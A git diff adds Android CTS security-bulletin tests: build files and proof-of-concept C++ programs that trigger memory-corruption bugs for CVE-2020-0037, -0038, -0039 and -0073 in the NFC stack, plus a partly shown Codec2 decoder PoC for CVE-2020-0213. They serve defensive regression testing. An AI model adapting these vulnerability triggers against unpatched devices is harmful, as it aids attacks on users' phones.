diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0037/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0037/poc.cpp
new file mode 100644
index 0000000..766ee03
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0037/poc.cpp
@@ -0,0 +1,147 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+
+char enable_selective_overload = ENABLE_NONE;
+
+#include <dlfcn.h>
+#include <nfc_api.h>
+#include <nfc_int.h>
+#include <rw_int.h>
+#include <tags_defs.h>
+
+// borrowed from rw_i93.cc
+extern tRW_CB rw_cb;
+extern tNFC_CB nfc_cb;
+void rw_init(void);
+tNFC_STATUS rw_i93_select(uint8_t *p_uid);
+
+bool kIsInitialized = false;
+
+// borrowed from rw_i93.cc
+enum {
+ RW_I93_STATE_NOT_ACTIVATED, /* ISO15693 is not activated */
+ RW_I93_STATE_IDLE, /* waiting for upper layer API */
+ RW_I93_STATE_BUSY, /* waiting for response from tag */
+
+ RW_I93_STATE_DETECT_NDEF, /* performing NDEF detection precedure */
+ RW_I93_STATE_READ_NDEF, /* performing read NDEF procedure */
+ RW_I93_STATE_UPDATE_NDEF, /* performing update NDEF procedure */
+ RW_I93_STATE_FORMAT, /* performing format procedure */
+ RW_I93_STATE_SET_READ_ONLY, /* performing set read-only procedure */
+
+ RW_I93_STATE_PRESENCE_CHECK /* checking presence of tag */
+};
+
+// borrowed from rw_i93.cc
+enum {
+ RW_I93_SUBSTATE_WAIT_UID, /* waiting for response of inventory */
+ RW_I93_SUBSTATE_WAIT_SYS_INFO, /* waiting for response of get sys info */
+ RW_I93_SUBSTATE_WAIT_CC, /* waiting for reading CC */
+ RW_I93_SUBSTATE_SEARCH_NDEF_TLV, /* searching NDEF TLV */
+ RW_I93_SUBSTATE_CHECK_LOCK_STATUS, /* check if any NDEF TLV is locked */
+
+ RW_I93_SUBSTATE_RESET_LEN, /* set length to 0 to update NDEF TLV */
+ RW_I93_SUBSTATE_WRITE_NDEF, /* writing NDEF and Terminator TLV */
+ RW_I93_SUBSTATE_UPDATE_LEN, /* set length into NDEF TLV */
+
+ RW_I93_SUBSTATE_WAIT_RESET_DSFID_AFI, /* reset DSFID and AFI */
+ RW_I93_SUBSTATE_CHECK_READ_ONLY, /* check if any block is locked */
+ RW_I93_SUBSTATE_WRITE_CC_NDEF_TLV, /* write CC and empty NDEF/Terminator TLV
+ */
+
+ RW_I93_SUBSTATE_WAIT_UPDATE_CC, /* updating CC as read-only */
+ RW_I93_SUBSTATE_LOCK_NDEF_TLV, /* lock blocks of NDEF TLV */
+ RW_I93_SUBSTATE_WAIT_LOCK_CC /* lock block of CC */
+};
+
+static void *(*real_GKI_getbuf)(uint16_t size) = nullptr;
+static void (*real_GKI_freebuf)(void *ptr) = nullptr;
+
+void init(void) {
+ real_GKI_getbuf = (void *(*)(uint16_t))dlsym(RTLD_NEXT, "_Z10GKI_getbuft");
+ if (!real_GKI_getbuf) {
+ return;
+ }
+
+ real_GKI_freebuf = (void (*)(void *))dlsym(RTLD_NEXT, "_Z11GKI_freebufPv");
+ if (!real_GKI_freebuf) {
+ return;
+ }
+
+ kIsInitialized = true;
+}
+
+void *GKI_getbuf(uint16_t size) {
+ if (!kIsInitialized) {
+ init();
+ }
+ return malloc(size);
+}
+
+void GKI_freebuf(void *ptr) {
+ if (!kIsInitialized) {
+ init();
+ }
+ free(ptr);
+}
+
+int main() {
+ tRW_I93_CB *p_i93 = &rw_cb.tcb.i93;
+
+ GKI_init();
+ rw_init();
+
+ uint8_t p_uid = 1;
+ if (rw_i93_select(&p_uid) != NFC_STATUS_OK) {
+ return EXIT_FAILURE;
+ }
+
+ tNFC_CONN_CB *p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
+ nfc_cb.quick_timer_queue.p_first = (TIMER_LIST_ENT *)malloc(16);
+ tNFC_CONN_EVT event = NFC_DATA_CEVT;
+ p_i93->state = RW_I93_STATE_SET_READ_ONLY;
+ p_i93->sub_state = RW_I93_SUBSTATE_WAIT_CC;
+ p_i93->block_size = 255;
+
+ enable_selective_overload = ENABLE_ALL;
+ tNFC_CONN *p_data = (tNFC_CONN *)malloc(sizeof(tNFC_CONN));
+ if (!p_data) {
+ free(nfc_cb.quick_timer_queue.p_first);
+ return EXIT_FAILURE;
+ }
+
+ p_data->data.p_data = (NFC_HDR *)GKI_getbuf(sizeof(NFC_HDR));
+ if (!(p_data->data.p_data)) {
+ free(p_data);
+ free(nfc_cb.quick_timer_queue.p_first);
+ return EXIT_FAILURE;
+ }
+ enable_selective_overload = ENABLE_NONE;
+
+ (p_data->data.p_data)->len = 10;
+ p_data->data.p_data->offset = 0;
+ p_data->status = NFC_STATUS_OK;
+
+ p_cb->p_cback(0, event, p_data);
+
+ free(p_data);
+ free(nfc_cb.quick_timer_queue.p_first);
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0038/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0038/Android.bp
new file mode 100644
index 0000000..195d430
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0038/Android.bp
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2020-0038",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ cflags: [
+ "-DCHECK_OVERFLOW",
+ "-DENABLE_SELECTIVE_OVERLOADING",
+ ],
+ compile_multilib: "64",
+ include_dirs: [
+ "system/nfc/src/nfc/include/",
+ "system/nfc/src/include/",
+ "system/nfc/src/gki/common/",
+ "system/nfc/src/gki/ulinux/",
+ "system/nfc/src/nfa/include/",
+ ],
+ shared_libs: [
+ "libnfc-nci",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0038/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0038/poc.cpp
new file mode 100644
index 0000000..27acfe3
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0038/poc.cpp
@@ -0,0 +1,147 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+
+char enable_selective_overload = ENABLE_NONE;
+
+#include <dlfcn.h>
+#include <nfc_api.h>
+#include <nfc_int.h>
+#include <rw_int.h>
+#include <tags_defs.h>
+
+// borrowed from rw_i93.cc
+extern tRW_CB rw_cb;
+extern tNFC_CB nfc_cb;
+void rw_init(void);
+tNFC_STATUS rw_i93_select(uint8_t *p_uid);
+
+bool kIsInitialized = false;
+
+// borrowed from rw_i93.cc
+enum {
+ RW_I93_STATE_NOT_ACTIVATED, /* ISO15693 is not activated */
+ RW_I93_STATE_IDLE, /* waiting for upper layer API */
+ RW_I93_STATE_BUSY, /* waiting for response from tag */
+
+ RW_I93_STATE_DETECT_NDEF, /* performing NDEF detection precedure */
+ RW_I93_STATE_READ_NDEF, /* performing read NDEF procedure */
+ RW_I93_STATE_UPDATE_NDEF, /* performing update NDEF procedure */
+ RW_I93_STATE_FORMAT, /* performing format procedure */
+ RW_I93_STATE_SET_READ_ONLY, /* performing set read-only procedure */
+
+ RW_I93_STATE_PRESENCE_CHECK /* checking presence of tag */
+};
+
+// borrowed from rw_i93.cc
+enum {
+ RW_I93_SUBSTATE_WAIT_UID, /* waiting for response of inventory */
+ RW_I93_SUBSTATE_WAIT_SYS_INFO, /* waiting for response of get sys info */
+ RW_I93_SUBSTATE_WAIT_CC, /* waiting for reading CC */
+ RW_I93_SUBSTATE_SEARCH_NDEF_TLV, /* searching NDEF TLV */
+ RW_I93_SUBSTATE_CHECK_LOCK_STATUS, /* check if any NDEF TLV is locked */
+
+ RW_I93_SUBSTATE_RESET_LEN, /* set length to 0 to update NDEF TLV */
+ RW_I93_SUBSTATE_WRITE_NDEF, /* writing NDEF and Terminator TLV */
+ RW_I93_SUBSTATE_UPDATE_LEN, /* set length into NDEF TLV */
+
+ RW_I93_SUBSTATE_WAIT_RESET_DSFID_AFI, /* reset DSFID and AFI */
+ RW_I93_SUBSTATE_CHECK_READ_ONLY, /* check if any block is locked */
+ RW_I93_SUBSTATE_WRITE_CC_NDEF_TLV, /* write CC and empty NDEF/Terminator TLV
+ */
+
+ RW_I93_SUBSTATE_WAIT_UPDATE_CC, /* updating CC as read-only */
+ RW_I93_SUBSTATE_LOCK_NDEF_TLV, /* lock blocks of NDEF TLV */
+ RW_I93_SUBSTATE_WAIT_LOCK_CC /* lock block of CC */
+};
+
+static void *(*real_GKI_getbuf)(uint16_t size) = nullptr;
+static void (*real_GKI_freebuf)(void *ptr) = nullptr;
+
+void init(void) {
+ real_GKI_getbuf = (void *(*)(uint16_t))dlsym(RTLD_NEXT, "_Z10GKI_getbuft");
+ if (!real_GKI_getbuf) {
+ return;
+ }
+
+ real_GKI_freebuf = (void (*)(void *))dlsym(RTLD_NEXT, "_Z11GKI_freebufPv");
+ if (!real_GKI_freebuf) {
+ return;
+ }
+
+ kIsInitialized = true;
+}
+
+void *GKI_getbuf(uint16_t size) {
+ if (!kIsInitialized) {
+ init();
+ }
+ return malloc(size);
+}
+
+void GKI_freebuf(void *ptr) {
+ if (!kIsInitialized) {
+ init();
+ }
+ free(ptr);
+}
+
+int main() {
+ tRW_I93_CB *p_i93 = &rw_cb.tcb.i93;
+
+ GKI_init();
+ rw_init();
+
+ uint8_t p_uid = 1;
+ if (rw_i93_select(&p_uid) != NFC_STATUS_OK) {
+ return EXIT_FAILURE;
+ }
+
+ tNFC_CONN_CB *p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
+ nfc_cb.quick_timer_queue.p_first = (TIMER_LIST_ENT *)malloc(16);
+ tNFC_CONN_EVT event = NFC_DATA_CEVT;
+ p_i93->state = RW_I93_STATE_UPDATE_NDEF;
+ p_i93->sub_state = RW_I93_SUBSTATE_RESET_LEN;
+ p_i93->block_size = 30;
+
+ enable_selective_overload = ENABLE_ALL;
+ tNFC_CONN *p_data = (tNFC_CONN *)malloc(sizeof(tNFC_CONN));
+ if (!p_data) {
+ free(nfc_cb.quick_timer_queue.p_first);
+ return EXIT_FAILURE;
+ }
+
+ p_data->data.p_data = (NFC_HDR *)GKI_getbuf(sizeof(NFC_HDR));
+ if (!(p_data->data.p_data)) {
+ free(p_data);
+ free(nfc_cb.quick_timer_queue.p_first);
+ return EXIT_FAILURE;
+ }
+ enable_selective_overload = ENABLE_NONE;
+
+ (p_data->data.p_data)->len = 10;
+ p_data->data.p_data->offset = 0;
+ p_data->status = NFC_STATUS_OK;
+
+ p_cb->p_cback(0, event, p_data);
+
+ free(p_data);
+ free(nfc_cb.quick_timer_queue.p_first);
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0039/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0039/Android.bp
new file mode 100644
index 0000000..16dac28
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0039/Android.bp
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2020-0039",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ cflags: [
+ "-DCHECK_OVERFLOW",
+ "-DENABLE_SELECTIVE_OVERLOADING",
+ ],
+ compile_multilib: "64",
+ include_dirs: [
+ "system/nfc/src/nfc/include/",
+ "system/nfc/src/include/",
+ "system/nfc/src/gki/common/",
+ "system/nfc/src/gki/ulinux/",
+ "system/nfc/src/nfa/include/",
+ ],
+ shared_libs: [
+ "libnfc-nci",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0039/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0039/poc.cpp
new file mode 100644
index 0000000..6ebc3f3
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0039/poc.cpp
@@ -0,0 +1,148 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+
+char enable_selective_overload = ENABLE_NONE;
+
+#include <dlfcn.h>
+#include <nfc_api.h>
+#include <nfc_int.h>
+#include <rw_int.h>
+#include <tags_defs.h>
+
+// borrowed from rw_i93.cc
+extern tRW_CB rw_cb;
+extern tNFC_CB nfc_cb;
+void rw_init(void);
+tNFC_STATUS rw_i93_select(uint8_t *p_uid);
+
+bool kIsInitialized = false;
+
+// borrowed from rw_i93.cc
+enum {
+ RW_I93_STATE_NOT_ACTIVATED, /* ISO15693 is not activated */
+ RW_I93_STATE_IDLE, /* waiting for upper layer API */
+ RW_I93_STATE_BUSY, /* waiting for response from tag */
+
+ RW_I93_STATE_DETECT_NDEF, /* performing NDEF detection precedure */
+ RW_I93_STATE_READ_NDEF, /* performing read NDEF procedure */
+ RW_I93_STATE_UPDATE_NDEF, /* performing update NDEF procedure */
+ RW_I93_STATE_FORMAT, /* performing format procedure */
+ RW_I93_STATE_SET_READ_ONLY, /* performing set read-only procedure */
+
+ RW_I93_STATE_PRESENCE_CHECK /* checking presence of tag */
+};
+
+// borrowed from rw_i93.cc
+enum {
+ RW_I93_SUBSTATE_WAIT_UID, /* waiting for response of inventory */
+ RW_I93_SUBSTATE_WAIT_SYS_INFO, /* waiting for response of get sys info */
+ RW_I93_SUBSTATE_WAIT_CC, /* waiting for reading CC */
+ RW_I93_SUBSTATE_SEARCH_NDEF_TLV, /* searching NDEF TLV */
+ RW_I93_SUBSTATE_CHECK_LOCK_STATUS, /* check if any NDEF TLV is locked */
+
+ RW_I93_SUBSTATE_RESET_LEN, /* set length to 0 to update NDEF TLV */
+ RW_I93_SUBSTATE_WRITE_NDEF, /* writing NDEF and Terminator TLV */
+ RW_I93_SUBSTATE_UPDATE_LEN, /* set length into NDEF TLV */
+
+ RW_I93_SUBSTATE_WAIT_RESET_DSFID_AFI, /* reset DSFID and AFI */
+ RW_I93_SUBSTATE_CHECK_READ_ONLY, /* check if any block is locked */
+ RW_I93_SUBSTATE_WRITE_CC_NDEF_TLV, /* write CC and empty NDEF/Terminator TLV
+ */
+
+ RW_I93_SUBSTATE_WAIT_UPDATE_CC, /* updating CC as read-only */
+ RW_I93_SUBSTATE_LOCK_NDEF_TLV, /* lock blocks of NDEF TLV */
+ RW_I93_SUBSTATE_WAIT_LOCK_CC /* lock block of CC */
+};
+
+static void *(*real_GKI_getbuf)(uint16_t size) = nullptr;
+static void (*real_GKI_freebuf)(void *ptr) = nullptr;
+
+void init(void) {
+ real_GKI_getbuf = (void *(*)(uint16_t))dlsym(RTLD_NEXT, "_Z10GKI_getbuft");
+ if (!real_GKI_getbuf) {
+ return;
+ }
+
+ real_GKI_freebuf = (void (*)(void *))dlsym(RTLD_NEXT, "_Z11GKI_freebufPv");
+ if (!real_GKI_freebuf) {
+ return;
+ }
+
+ kIsInitialized = true;
+}
+
+void *GKI_getbuf(uint16_t size) {
+ if (!kIsInitialized) {
+ init();
+ }
+ return malloc(size);
+}
+
+void GKI_freebuf(void *ptr) {
+ if (!kIsInitialized) {
+ init();
+ }
+ free(ptr);
+}
+
+int main() {
+ tRW_I93_CB *p_i93 = &rw_cb.tcb.i93;
+
+ GKI_init();
+ rw_init();
+
+ uint8_t p_uid = 1;
+ if (rw_i93_select(&p_uid) != NFC_STATUS_OK) {
+ return EXIT_FAILURE;
+ }
+
+ tNFC_CONN_CB *p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
+ nfc_cb.quick_timer_queue.p_first = (TIMER_LIST_ENT *)malloc(16);
+ tNFC_CONN_EVT event = NFC_DATA_CEVT;
+ p_i93->state = RW_I93_STATE_UPDATE_NDEF;
+ p_i93->sub_state = RW_I93_SUBSTATE_UPDATE_LEN;
+ p_i93->block_size = 30;
+ p_i93->rw_length = 1;
+
+ enable_selective_overload = ENABLE_ALL;
+ tNFC_CONN *p_data = (tNFC_CONN *)malloc(sizeof(tNFC_CONN));
+ if (!p_data) {
+ free(nfc_cb.quick_timer_queue.p_first);
+ return EXIT_FAILURE;
+ }
+
+ p_data->data.p_data = (NFC_HDR *)GKI_getbuf(sizeof(NFC_HDR));
+ if (!(p_data->data.p_data)) {
+ free(p_data);
+ free(nfc_cb.quick_timer_queue.p_first);
+ return EXIT_FAILURE;
+ }
+ enable_selective_overload = ENABLE_NONE;
+
+ (p_data->data.p_data)->len = 10;
+ p_data->data.p_data->offset = 0;
+ p_data->status = NFC_STATUS_OK;
+
+ p_cb->p_cback(0, event, p_data);
+
+ free(p_data);
+ free(nfc_cb.quick_timer_queue.p_first);
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0069/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0069/Android.bp
index 32d8415..8ce25c1 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0069/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0069/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test {
name: "CVE-2020-0069",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/Android.bp
new file mode 100644
index 0000000..cbe6a4e
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/Android.bp
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+cc_test {
+ name: "CVE-2020-0073",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ],
+ compile_multilib: "64",
+ include_dirs: [
+ "system/nfc/src/nfc/include",
+ "system/nfc/src/gki/common",
+ "system/nfc/src/include",
+ "system/nfc/src/gki/ulinux",
+ ],
+ shared_libs: [
+ "libnfc-nci",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/poc.cpp
new file mode 100644
index 0000000..d6ea446
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/poc.cpp
@@ -0,0 +1,43 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include "../includes/common.h"
+#include <nfc_api.h>
+#include <rw_int.h>
+
+extern tRW_CB rw_cb;
+void rw_init(void);
+void rw_t2t_handle_rsp(uint8_t* p_data);
+void poc_cback(tRW_EVENT event, tRW_DATA* p_rw_data) {
+ (void)event;
+ (void)p_rw_data;
+}
+
+int main() {
+ tRW_T2T_CB* p_t2t = &rw_cb.tcb.t2t;
+ rw_init();
+ rw_cb.p_cback = &poc_cback;
+ p_t2t->state = RW_T2T_STATE_DETECT_TLV;
+ p_t2t->tlv_detect = TAG_LOCK_CTRL_TLV;
+ p_t2t->substate = RW_T2T_SUBSTATE_WAIT_READ_TLV_VALUE;
+ p_t2t->found_tlv = TAG_LOCK_CTRL_TLV;
+ p_t2t->bytes_count = 1;
+ p_t2t->num_lockbytes = RW_T2T_MAX_LOCK_BYTES;
+ uint8_t data[T2T_READ_DATA_LEN];
+ rw_t2t_handle_rsp(data);
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0213/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0213/Android.bp
new file mode 100644
index 0000000..1a07265
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0213/Android.bp
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2020-0213",
+ defaults: [
+ "cts_hostsidetests_securitybulletin_defaults",
+ "libcodec2-hidl-client-defaults",
+ ],
+ srcs: [
+ "poc.cpp",
+ ],
+ shared_libs: [
+ "libcodec2_client",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0213/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0213/poc.cpp
new file mode 100644
index 0000000..30e22d4
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0213/poc.cpp
@@ -0,0 +1,482 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <C2AllocatorIon.h>
+#include <C2Buffer.h>
+#include <C2BufferPriv.h>
+#include <C2Config.h>
+#include <C2Debug.h>
+#include <codec2/hidl/client.h>
+#include <gui/BufferQueue.h>
+#include <gui/IConsumerListener.h>
+#include <gui/IProducerListener.h>
+
+#include <chrono>
+#include <condition_variable>
+#include <fstream>
+#include <iostream>
+
+#include "../includes/common.h"
+
+using android::C2AllocatorIon;
+using std::chrono_literals::operator""ms;
+
+#define MAXIMUM_NUMBER_OF_RETRIES 20
+#define QUEUE_TIMEOUT 400ms
+#define MAXIMUM_NUMBER_OF_INPUT_BUFFERS 8
+#define ALIGN(_sz, _align) ((_sz + (_align - 1)) & ~(_align - 1))
+
+void workDone(const std::shared_ptr<android::Codec2Client::Component>& component,
+ std::unique_ptr<C2Work>& work, std::list<uint64_t>& flushedIndices,
+ std::mutex& queueLock, std::condition_variable& queueCondition,
+ std::list<std::unique_ptr<C2Work>>& workQueue, bool& eos, bool& csd,
+ uint32_t& framesReceived);
+
+struct FrameInfo {
+ int bytesCount;
+ uint32_t flags;
+ int64_t timestamp;
+};
+
+class LinearBuffer : public C2Buffer {
+ public:
+ explicit LinearBuffer(const std::shared_ptr<C2LinearBlock>& block)
+ : C2Buffer({block->share(block->offset(), block->size(), ::C2Fence())}) {}
+
+ explicit LinearBuffer(const std::shared_ptr<C2LinearBlock>& block, size_t size)
+ : C2Buffer({block->share(block->offset(), size, ::C2Fence())}) {}
+};
+
+/*
+ * Handle Callback functions onWorkDone(), onTripped(),
+ * onError(), onDeath(), onFramesRendered()
+ */
+struct CodecListener : public android::Codec2Client::Listener {
+ public:
+ CodecListener(
+ const std::function<void(std::list<std::unique_ptr<C2Work>>& workItems)> fn = nullptr)
+ : callBack(fn) {}
+ virtual void onWorkDone(const std::weak_ptr<android::Codec2Client::Component>& comp,
+ std::list<std::unique_ptr<C2Work>>& workItems) override {
+ (void)comp;
+ if (callBack) {
+ callBack(workItems);
+ }
+ }
+
+ virtual void onTripped(
+ const std::weak_ptr<android::Codec2Client::Component>& comp,
+ const std::vector<std::shared_ptr<C2SettingResult>>& settingResults) override {
+ (void)comp;
+ (void)settingResults;
+ }
+
+ virtual void onError(const std::weak_ptr<android::Codec2Client::Component>& comp,
+ uint32_t errorCode) override {
+ (void)comp;
+ (void)errorCode;
+ }
+
+ virtual void onDeath(const std::weak_ptr<android::Codec2Client::Component>& comp) override {
+ (void)comp;
+ }
+
+ virtual void onInputBufferDone(uint64_t frameIndex, size_t arrayIndex) override {
+ (void)frameIndex;
+ (void)arrayIndex;
+ }
+
+ virtual void onFrameRendered(uint64_t bufferQueueId, int32_t slotId,
+ int64_t timestampNs) override {
+ (void)bufferQueueId;
+ (void)slotId;
+ (void)timestampNs;
+ }
+ std::function<void(std::list<std::unique_ptr<C2Work>>& workItems)> callBack;
+};
+
+class Codec2VideoDecHidlTestBase {
+ public:
+ bool SetUp() {
+ mClient = getClient();
+ if (!mClient) {
+ return false;
+ }
+ mListener.reset(new CodecListener(
+ [this](std::list<std::unique_ptr<C2Work>>& workItems) { handleWorkDone(workItems); }));
+ if (!mListener) {
+ return false;
+ }
+ mComponent = android::Codec2Client::CreateComponentByName(mComponentName.c_str(), mListener,
+ &mClient);
+ if (!mComponent) {
+ return false;
+ }
+ for (int i = 0; i < MAXIMUM_NUMBER_OF_INPUT_BUFFERS; ++i) {
+ mWorkQueue.emplace_back(new C2Work);
+ }
+ std::shared_ptr<C2AllocatorStore> store = android::GetCodec2PlatformAllocatorStore();
+ if (store->fetchAllocator(C2AllocatorStore::DEFAULT_LINEAR, &mLinearAllocator) != C2_OK) {
+ return false;
+ }
+ mLinearPool = std::make_shared<C2PooledBlockPool>(mLinearAllocator, ++mBlockPoolId);
+ if (!mLinearPool) {
+ return false;
+ }
+ mEos = false;
+ mHasVulnerability = false;
+ mTimestampUs = 0u;
+ mWorkResult = C2_OK;
+ mFramesReceived = 0;
+ return true;
+ }
+
+ ~Codec2VideoDecHidlTestBase() {
+ if (mComponent != nullptr) {
+ mComponent->release();
+ mComponent = nullptr;
+ }
+ }
+
+ std::shared_ptr<android::Codec2Client> getClient() {
+ auto instances = android::Codec2Client::GetServiceNames();
+ for (std::string instance : instances) {
+ std::shared_ptr<android::Codec2Client> client =
+ android::Codec2Client::CreateFromService(instance.c_str());
+ std::vector<C2Component::Traits> components = client->listComponents();
+ for (C2Component::Traits traits : components) {
+ if (instance.compare(traits.owner)) {
+ continue;
+ }
+ if (traits.domain == DOMAIN_VIDEO && traits.kind == KIND_DECODER &&
+ mComponentName.compare(traits.name)) {
+ return android::Codec2Client::CreateFromService(
+ instance.c_str(),
+ !bool(android::Codec2Client::CreateFromService("default", true)));
+ }
+ }
+ }
+ return nullptr;
+ }
+
+ void checkBufferOK(std::unique_ptr<C2Work>& work) {
